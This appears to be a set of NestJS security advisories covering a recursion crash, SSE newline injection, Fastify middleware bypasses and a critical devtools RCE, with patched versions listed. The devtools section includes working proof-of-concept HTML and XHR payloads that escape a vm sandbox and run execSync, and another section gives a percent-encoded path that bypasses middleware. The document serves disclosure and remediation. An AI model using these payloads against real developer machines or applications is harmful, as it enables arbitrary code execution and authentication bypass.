Impact Attacker sends many small, valid JSON messages in one TCP frame → handleData() recurses once per message; buffer shrinks each call → maxBufferSize is never reached; call stack overflows instead → A ~47 KB payload is sufficient to trigger RangeError

Patches

Fixed in @nestjs/microservices@11.1.19

References

Discovered by https://github.com/hwpark6804-gif

Impact What kind of vulnerability is it? Who is impacted?

SseStream.transform() interpolates message.type and message.id directly into Server-Sent Events text protocol output without sanitizing newline characters (\r, \n). Since the SSE protocol treats both \r and \n as field delimiters and \n\n as event boundaries, an attacker who can influence these fields through upstream data sources can inject arbitrary SSE events, spoof event types, and corrupt reconnection state. Spring Framework's own security patch (6e97587) validates these same fields (id, event) for the same reason.

Actual impact:

- Event spoofing: Attacker forges SSE events with arbitrary event: types, causing client-side EventSource.addEventListener() callbacks to fire for wrong event types. - Data injection: Attacker injects arbitrary data: payloads, potentially triggering XSS if the client renders SSE data as HTML without sanitization. - Reconnection corruption: Attacker injects id: fields, corrupting the Last-Event-ID header on reconnection, causing the client to miss or replay events. - Attack precondition: Requires the developer to map user-influenced data to the type or id fields of SSE messages. Direct HTTP request input does not reach these fields without developer code bridging the gap. - Patches Has the problem been patched? What versions should users upgrade to?

Patched in @nestjs/core@11.1.18

Impact

In a NestJS application using @nestjs/platform-fastify, GET middleware can be bypassed because Fastify automatically redirects HEAD requests to the corresponding GET handlers (if they exist).

As a result:

- Middleware will be completely skipped. - The HTTP response won't include a body (since the response is truncated when redirecting a HEAD request to a GET handler). - The actual handler will still be executed.

Patches

Fixed in @nestjs/platform-fastify@11.1.16

Impact What kind of vulnerability is it? Who is impacted?

A NestJS application using @nestjs/platform-fastify can allow bypass of any middleware when Fastify path-normalization options (e.g., ignoreTrailingSlash, ignoreDuplicateSlashes, useSemicolonDelimiter) are enabled. In affected route-scoped middleware setups, variant paths may skip middleware checks while still reaching the protected handler.

The bug is a path canonicalization mismatch between middleware matching and route matching in Nest’s Fastify adapter.

Nest passes Fastify routerOptions (such as ignoreTrailingSlash, ignoreDuplicateSlashes, useSemicolonDelimiter) to the Fastify router in packages/platform-fastify/adapters/fastify-adapter.ts:253.

But middleware execution is decided by a separate regex check over req.originalUrl in packages/platform-fastify/adapters/fastify-adapter.ts:706 and packages/platform-fastify/adapters/fastify-adapter.ts:713.

If that regex does not match, Nest does next() and skips the middleware (packages/platform-fastify/adapters/fastify-adapter.ts:714), while Fastify may still normalize the same path and route it to the protected handler. So the vulnerability exists because security checks (middleware) and request dispatch(router) use different URL interpretations.

This is a fail-open design issue (inconsistent normalization), not just a bad app config: non-default router options make the mismatch reachable.

Patches

Fixed in @nestjs/platform-fastify@11.1.14

References

Credit goes to Fluidattacks (Cristian Vargas) https://fluidattacks.com/advisories/neton

A NestJS application is vulnerable if it meets all of the following criteria:

1. Platform: Uses @nestjs/platform-fastify. 2. Security Mechanism: Relies on NestMiddleware (via MiddlewareConsumer) for security checks (authentication, authorization, etc.), or through app.use() 3. Routing: Applies middleware to specific routes using string paths or controllers (e.g., .forRoutes('admin')). Example Vulnerable Config:

ts // app.module.ts export class AppModule implements NestModule { configure(consumer: MiddlewareConsumer) { consumer .apply(AuthMiddleware) // Security check .forRoutes('admin'); // Vulnerable: Path-based restriction } }

Attack Vector:

- Target Route: /admin - Middleware Path: admin - Attack Request: GET /%61dmin - Result: Middleware is skipped (no match on %61dmin), but controller for /admin is executed.

Consequences:

- Authentication Bypass: Unauthenticated users can access protected routes. - Authorization Bypass: Restricted administrative endpoints become accessible to lower-privileged users. - Input Validation Bypass: Middleware performing sanitization or validation can be skipped.

Patches

Patched in @nestjs/platform-fastify@11.1.11

Resources

Credit goes to Hacktron AI for reporting this issue.

Summary A critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.

A full blog post about how this vulnerability was uncovered can be found on Socket's blog.

Details The @nestjs/devtools-integration package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.

Key issues: 1. Unsafe Sandbox: The sandbox implementation closely resembles the abandoned safe-eval library. The Node.js vm module is explicitly documented as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution. 2. Lack of Proper CORS/Origin Checking: The server sets Access-Control-Allow-Origin to a fixed domain (https://devtools.nestjs.com) but does not validate the request's Origin or Content-Type. Attackers can craft POST requests with text/plain content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.

By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.

Relevant code from the package:

js // Vulnerable request handler handleGraphInteraction(req, res) { if (req.method === 'POST') { let body = ''; req.on('data', data => { body += data; }); req.on('end', async () => { res.writeHead(200, { 'Content-Type': 'application/plain' }); const json = JSON.parse(body); await this.sandboxedCodeExecutor.execute(json.code, res); }); } }

// Vulnerable sandbox implementation runInNewContext(code, context, opts) { const sandbox = {}; const resultKey = 'SAFEEVAL' + Math.floor(Math.random() 1000000); sandbox[resultKey] = {}; const ctx = (function() { Function = undefined; const keys = Object.getOwnPropertyNames(this).concat(['constructor']); keys.forEach((key) => { const item = this[key]; if (!item || typeof item.constructor !== 'function') return; this[key].constructor = undefined; }); })(); ; code = ctx + resultKey + '=' + code; if (context) { Object.keys(context).forEach(key => { sandbox[key] = context[key]; }); } vm.runInNewContext(code, sandbox, opts); return sandbox[resultKey]; }

Because the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.

PoC Create a minimal NestJS project and enable @nestjs/devtools-integration in development mode:

npm install @nestjs/devtools-integration npm run start:dev

Use the following HTML form on any malicious website:

html <form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain"> <input name="{&quot;code&quot;:&quot;(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('childprocess').execSync('open /System/Applications/Calculator.app')}})()&quot;,&quot;bogus&quot;:&quot;" value="&quot;}" /> <input type="submit" value="Exploit" /> </form>

When the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.

Alternatively, the same payload can be sent via a simple XHR request with text/plain content type:

html <button onclick="sendPopCalculatorXHR()">Send pop calculator XHR Request</button> <script> function sendPopCalculatorXHR() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost:8000/inspector/graph/interact"); xhr.withCredentials = false; xhr.setRequestHeader("Content-Type", "text/plain"); xhr.send('{"code":"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\'return process\')().mainModule.require(\'childprocess\').execSync(\'open /System/Applications/Calculator.app\'); } })()"}'); } </script>

Full POC

Minimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration

Steps to reproduce:

1. Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration 2. Run NPM install 3. Run npm run start:dev 4. Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/ 5. Try out any of the POC payloads.

Source for the nestjs-devtools-integration-rce-poc: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc

Impact

This vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with @nestjs/devtools-integration enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer’s machine.

- Severity: Critical - Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising) - Privileges Required: None - User Interaction: Minimal (no clicks required)

Fix The maintainers remediated this issue by:

- Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs). - Adding origin and content-type validation to incoming requests. - Introducing authentication for the devtools connection.

Users should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.

Credit

This vulnerability was uncovered by @JLLeitschuh on behalf of Socket.

File Upload vulnerability in nestjs nest prior to v.11.0.16 allows a remote attacker to execute arbitrary code via the Content-Type header.

Versions of the package @nestjs/core before 9.0.5 are vulnerable to Information Exposure via the StreamableFile pipe. Exploiting this vulnerability is possible when the client cancels a request while it is streaming a StreamableFile, the stream wrapped by the StreamableFile will be kept open.